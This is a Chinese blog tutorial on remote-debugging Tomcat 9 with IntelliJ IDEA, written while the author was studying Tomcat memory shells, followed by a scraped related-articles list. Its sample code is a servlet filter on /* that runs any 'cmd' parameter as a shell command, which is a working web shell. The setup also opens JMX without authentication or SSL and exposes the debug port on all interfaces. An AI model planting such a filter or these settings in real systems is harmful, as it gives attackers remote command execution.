IDEA tomcat远程调试

article/2025/10/11 8:31:34

最近研究tomcat内存马,但本地不具备代码运行条件,本地dns坏了,本地运行报错:

错误: 代理抛出异常错误: java.net.MalformedURLException: Local host name unknown: java.net.UnknownHostException: ***-PC: ***-PC

遂尝试远程调试,远程调试会自动把本地和远程的代码同步。

实验环境

本地 windows

tomcat 9.0.65

远程 centos

tomcat 9.0.65

本地和远程的tomcat版本必须一致。

远程配置

cd /home/***/
wget https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.65/bin/apache-tomcat-9.0.65.zip
unzip apache-tomcat-9.0.65.zip
cd apache-tomcat-9.0.65/bin/
vim catalina.sh

在最前面添加如下:

export JPDA_ADDRESS=0.0.0.0:2333
CATALINA_OPTS="-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false -Djava.rmi.server.hostname=10.10.40.65"
export CATALINA_OPTS

其中,2333是调试debug的port,10.10.40.65是远程调试的主机,1099是jmxremote.port。(JMX最常见的场景是监控Java程序的基本信息和运行情况,任何Java程序都可以开启JMX)

启动tomcat

./catalina.sh jpda start

 本地IDEA配置

Edit Configurations --> Tomcat Server --> Remote

Application Server --> Configure 选择tomcat路径 (本地和远程tomcat同一个版本的用处在这里体现出来了)

Tomcat Server Settings --> Remote staging 选择 Type "sftp",Host里面配置ssh的密码就可以了,用于同步客户端和服务端源代码。

 Mappings 里面本地代码根路径文件夹和远端代码的发布路径映射。

Staging 里面的2个路径都填写项目部署到服务器上的路径。

File -- Project Structure -- Project Settings -- Artifacts 

 点击左上角 + 号,选择 JAR,发布为一个JAR项目  (我新建的servlet项目)

 我测试如果选第二个发布成 Web Application Exploded 项目 无法访问。两者在服务器webapps目录下的区别为:

 Server Tab 右面有 Deployment Tab,点击 Deployment Tab,点击 Artifact,添加项目war包,点击 Apply。

如果Deployment这一步没有Artifact可选 (我新建的jsp项目)

在上一步尝试选择,

 点击确定,

确保Deployment这一步有Artifact可选,这样可以保证发布的网页可以访问。

上面一小段可能描述的不太准确,总之就是,不管前一步选择哪一个,要保证部署 Artifact时显示为 war exploded。

在 Deployment Tab 右边配置 Startup/Connection Tab,端口为在远程server catalina.sh配置的debug端口 2333。

启动IDEA 调试

点击debug 图标

运行后,会自动同步客户端代码至服务端。

浏览器访问:

http://10.10.40.65:8080/untitled1_war_exploded/?cmd=***

 我的代码:

import javax.servlet.*; // //apache-tomcat-7.0.79\lib\servlet-api.jar
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;//@javax.servlet.annotation.WebFilter(filterName = "CmdFilter")
@WebFilter("/*")
public class CmdFilter implements javax.servlet.Filter {public void destroy() {}public void doFilter(javax.servlet.ServletRequest req, javax.servlet.ServletResponse resp, javax.servlet.FilterChain chain) throws javax.servlet.ServletException, IOException {//HttpServletRequest req1 = (HttpServletRequest) req;//HttpServletResponse resp1 = (HttpServletResponse) resp;// 如果有cmd 参数 则拦截,否则 404if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();//Scanner通过用户回车进行读取IO流,然后扫描是否有分隔符,如果没有,那么继续等待下一段IO流.Scanner s = new Scanner(in).useDelimiter("\\A");  //设置当前scanner的分隔符,默认是空格,正则表达式"\\A"跟"^"的作用是一样的,代表文本的开头。String output = s.hasNext() ? s.next() : "";resp.getWriter().write(output);resp.getWriter().flush();}chain.doFilter(req, resp);}public void init(javax.servlet.FilterConfig config) throws javax.servlet.ServletException {}
}

如果访问网页报错

如果报错 :“404:源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示”

注意在项目中引入lib并add path。

如果idea 右键新建项目没有servlet 请参考:

idea new 没有 servlet - 2022——new_start - 博客园

添加完 “Facts--Web” 这一步,在 Deploment 里 就有 artifacts 包可选。


http://chatgpt.dhexx.cn/article/sMMSTqts.shtml

相关文章

IDEA如何远程断点调试jar包

1.问题 以jar包的形式运行Spring Boot项目时报错,但是在IDEA开发环境下编译运行Spring Boot项目不报错,如何复现jar包运行时的错误呢?这就需要在IDEA下远程断点调试jar包代码。 2.步骤 将 springboot 项目打成jar包;在IDEA中&a…

Idea Intellij 远程开发调试

一、背景 在构建MiniOB开发环境时需要Linux环境,另外结合分布式系统,利用较好的通信,萌发了远程开发的想法;实际上远程部署、开发在很久之前有过想法(大约刚开始学SpringBoot进行部署软件时,反复地本地开发…

IDEA远程debug调试设置

1写作目录 最近发现工作的项目竟然不能本地跑,只能在预发环境测试,那只能远程debug了,所以写个博客记录一下。 2实操 2.1项目启动添加参数 如下所示,配置了一个debug端口8000 java -Djavax.net.debugssl -Xdebug -Xnoagent -…

IDEA远程调试Java代码

文章目录 1 前言2 远程 Debug 调试原理2.1 理论基础2.2 远程调试分类 3 主动连接调试3.1 远程服务中开启 Debug 服务3.1.1 对于 SpringBoot3.1.2 对于 Tomcat 3.2 IDEA 中指定 Debug 服务器3.3 远程服务器防火墙端口放行 4 被动连接调试4.1 对于 Tomcat4.2 对于 SpringBoot 5 开…

IDEA如何开启远程调试

要进行远程调试,首先被调试的服务必须支持远程调试,先要开一个远程调试接口,在启动参数里面增加下面的语句: -agentlib:jdwptransportdt_socket,servery,suspendn,address6001 这主要是指定远程调试的端口,为6001。一…

IDEA 远程调试

IDEA 远程调试,像运行本地代码一样调试远程主机上的程序,以排查远程程序的BUG或代码执行流程。 作者:王克锋 出处:https://kefeng.wang/2018/03/06/idea-remote-debug/ 版权:自由转载-非商用-非衍生-保持署名&#…

IDEA 远程断点调试

IDEA 远程断点调试 有时候,有些bug无法在本地环境复现,此时就需要我们去线上的机器远程debug,可以采用idea Remove JVM Debug模式. 首先,点击Edit Configurations 然后点击左上角的Add New Configuration,选择Remove…

idea实现远程调试

1.项目开启远程调试 在-jar 后面配置 -agentlib:jdwptransportdt_socket,servery,suspendn,address8327 (8327是远程调试的端口号,注意不要和项目端口号冲突) nohup java -jar -agentlib:jdwptransportdt_socket,servery,suspendn,address8…

IDEA进行远程调试

前言 对于分布式系统的调试不知道大家有什么好的方法。对于我来说,在知道远程调试这个方法之前就是在代码中打各种log,然后重新部署,上线,调试,这样比较费时,有什么更好的办法呢? 有时候&…

idea 远程debug调试

1,远程DEBUG的必要性 由于部署环境的差异性,相信很多朋友都碰到过开发环境正常测试过的功能在测试环境甚至生产环境下出现bug的情况。一般情况下,生产环境可以采取的手段比较单一,即通过日志的方式获取运行中的环境上下文&…

使用IDEA远程debug调试(一篇懂所有)

使用IDEA远程调试(一篇懂所有) 背景 有时候我们需要进行远程的debug,本文研究如何进行远程debug,以及使用 IDEA 远程debug的过程中的细节。看完可以解决你的一些疑惑。 配置 远程debug的服务,以springboot微服务为例(springcloud的应该差…

SpringBoot 远程DEBUG调试

我们在测试代码的时候,我们本地代码展示的效果可能和测试环境不一样,明明代码一样,但是效果不一样,代码已经部署到服务器端,因此远程连接服务器端远程调试很重要,实际开发较为常用. 一,调试命令 最为常见的远程调试命令 java -jar -Dserver.port8092 -Dspring.pr…

idea远程调试

一 业务:服务器与本地环境不一样 二 需求:如果服务器报错,使用本地idea进行远程debug调试 三 解决方案:本地idea远程debug调试 四 具体操作 1 第一步:IDEA打开远程启动的springboot应用程序所对应的本地springboot…

IDEA 开启远程调试

idea 远程调试 背景 在编写代码时, 总会遇到这样或者那样的bug. 有些bug 特别是业务逻辑的bug . 在生产或测试环境好复现而在开发环境很难复现. 现在提供的一种思路, 就是远程调试: 我们可以在本地直接调试生产环境或者测试环境的代码. 只需我们本地代码和远程部署的代码一致.…

Idea远程debug

Idea远程调试 当把一个本地项目部署到远程服务器后有可能出现意想不到错误,这个时候通过远程调试能够更清楚的找到bug所在位置。本篇主要讲解如何使用Idea开发工具 进行调试1.远程调试服务器上面的SpringBoot 项目2.远程调试服务器上运行在tomcat中的项目&#xff0…

Intellij IDEA远程debug教程实战和要点总结

远程调试,特别是当你在本地开发的时候,你需要调试服务器上的程序时,远程调试就显得非常有用。 JAVA 支持调试功能,本身提供了一个简单的调试工具JDB,支持设置断点及线程级的调试同时,不同的JVM通过接口的协…

计算机网络——网络工程项目

一、项目要求 1. 假设某单位(学校、企业均可)在不同地理位置具有两个内部网络。这两个内部网络规模不同(分别简称主网、次网)。主网至少覆盖4座楼,每座楼至少4层,每层至少10个房间,次网规模不限…

计算机系统要素-从零开始构建现代计算机 项目代码

《计算机系统要素-从零开始构建现代计算机》是一本好书,这阵子花业余时间学习,并跟着做了章节后面的项目,收获很大。已经完成了前面9章的项目内容,目前正在进行第10章,编译器的编写。 前面9章的项目,以Nand…

2022 年面向初学者的15 个计算机视觉项目创意案例

计算机视觉是人工智能领域最热门的话题之一。 但试图找出学习和掌握该领域的最佳方法很容易混淆。 我们的建议? 不要陷入分析理论概念的困境。 相反,将您的概念知识与实践经验相结合,开始构建您自己的计算机视觉模型! 在本文…

Java项目实战:计算机毕业设计案例分享(Java毕设)

【辰兮要努力】:hello你好我是辰兮,很高兴你能来阅读,昵称是希望自己能不断精进,向着优秀程序员前行! 博客来源于项目以及编程中遇到的问题总结,偶尔会有读书分享,我会陆续更新Java前端、后台、…